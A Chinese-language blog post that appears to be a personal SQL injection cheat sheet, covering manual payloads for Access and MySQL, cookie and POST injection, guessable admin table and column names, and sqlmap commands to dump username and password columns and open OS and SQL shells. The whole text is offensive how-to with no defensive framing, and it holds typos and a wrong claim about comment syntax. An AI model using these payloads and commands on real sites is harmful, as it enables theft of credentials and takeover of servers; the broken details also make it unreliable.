Sqlmap注入技巧

php+mysql注入方法:http://tieba.baidu.com/p/3723202169

http://www.cnblogs.com/Javame/p/3753060.html sqlmap命令大全

1:access注入
猜解表名 and exists (select * from admin)

猜解列名 and exists(select username from admin)

常用的表名 admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new

常用的列名 username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod

sqlmap注入access
sqlmap -u url
sqlmap -u url --tables
sqlmap -u url -T 数据库名称 --columns
sqlmap -u url -T 数据库名称 -C user,password --dump

MySQL注入
1:判断是否存在注入:and 1=1 and 1=2

2:查询当前页面所链接的数据库列名(前面要报错) order by

操作系统版本查询 @@version_compile_os
版本查询version()
查询当前页面所链接的数据库名字database()
数据库用户名字user()
3:查询表名 1,gooup_concat(table_name)3,4,5,6,...... from information_schema.tables where table_schema=database(转换16进制)

查列名1,gooup_concat(column_name)3,4,5,6,...... from information_schema.columns where table_name=表名(转换16进制)

4:查询数据:url union select1,2,3........from admin

MySQL注入的sqlmap注入:
1:sqlmap.py -u "注入点"

2:sqlmap.py -u "注入点" --dbs(查数据库)

3:sqlmap.py -u "注入点" -D(指定表名)某表名 --tables (-T是指定数据名)

4:sqlmap.py -u "注入点" -D(指定表名) 某表名 -T admin C “username,password” --dump(爆数据)

cookie注入和post注入
网站传递参数的方式:
1:get形式 一般访问网页行为
2:cookie形式 伴随着所有访问网页的行为
3:post形式 上传文件,登陆

cookie形式注入原理就是对get传递来的参数进行了过滤,但是武略了cookie也可以传递参数

如何判断cookie注入(传输错如网页拦截之类的)
去掉id=xx 查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
清空浏览器地址栏,输入Javascript:alert(document.cookie="id"=escape("id参数")) 按回车键后弹出一个对话框,内容是id=xx , 然后用原来的URL刷新页面,如果显示正常,说明应用是request("id")这种方式获取数据的

然后重复上面的步骤,讲常规的sql注入语句带入到上面的URL:Javascript:alert(document.cookie="id="+escape("xx and 1=1"))
Javascript:alert(document.cookie="id="+escape("xx and 1=2"))

和常规sql注入一样,如果分别返回正常是不正常,则说明存在注入漏洞,并且可以cookie注入

使用常规注入即可

用sqlmap进行cookie注入

sqlmap.py -u 注入点URL --cookie "id=xx" --level 3

sqlmap.py -u url --cookie "id=xx" --level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 -C username,password --dump

post注入

判断post注入
';exec master..xp_cmdshell'iisreset';

sqlmap的三种注入post注入方法
1:自动填写表单:
sqlmap.py -u URL --forms 直接一路回车
sql server 数据库类似于MySQL
sqlmap.py -u URL --forms --dbs(数据库)
注意:遇到数据库非常多,而且我们不知道管理账号密码存放在那个数据库中,我们该怎么办?如下:
sqlmap.py -u URL --forms --current-db(找当前数据库)
找表名:sqlmap.py -u URL --forms -D 数据库名称 --tables(猜解他数据库下的表名)
找列名:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
爆数据:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -C username,password --dump
2:sqlmap结合burpsuite注入
抓包
sqlmap检测:sqlmap.py -r burpsuite抓包.txt
3:指定表单注入
burpsuite截包
sqlmap.py -u URL --data “username=a&password=a”

4:oracle注入

sqlmap交互式

交互式执行cmd命令:sqlmap.py -u URL --os-cmd=命令

交互式写入shell:sqlmap.py -u URL --os-shell 里面也可以执行cmd命令
在根目录下生成两个文件:tmpbxbxz.php 和tmpuoiuz.php

交互式执行sql命令:sqlmap.py -u URL --sql-shell 执行命令sql命令getshell

伪静态的注入:
sqlmap -u URL --dbs

延时注入:
sqlmap.py -u URL --technique -T --current-user

数字型,字符型,搜索型注入
数字型:select*from admin where id=$id
字符型:select*from admin where uid='$uid'
搜索性:select*from admin where pid like'%$pid%'order by pid

注入方法:闭合注入,
字符型
闭合注入手法:'and'1'='1
形成的SQL语句:select*from admin where uid='$xx'and'1'='1'
select*from admin where uid='$xx'and'1'='2'
注入方法
'语句 and'1'='1

搜索型
注入方法:%'and'%1%'=%1
%'语句 and'%1%'=%1

注释法
直接 order by 报错
注释order by 1--
--(2个斜杠是php注释的意思)

评论区

评论一下~


7+29=?

暂无评论,要不来一发?

回到顶部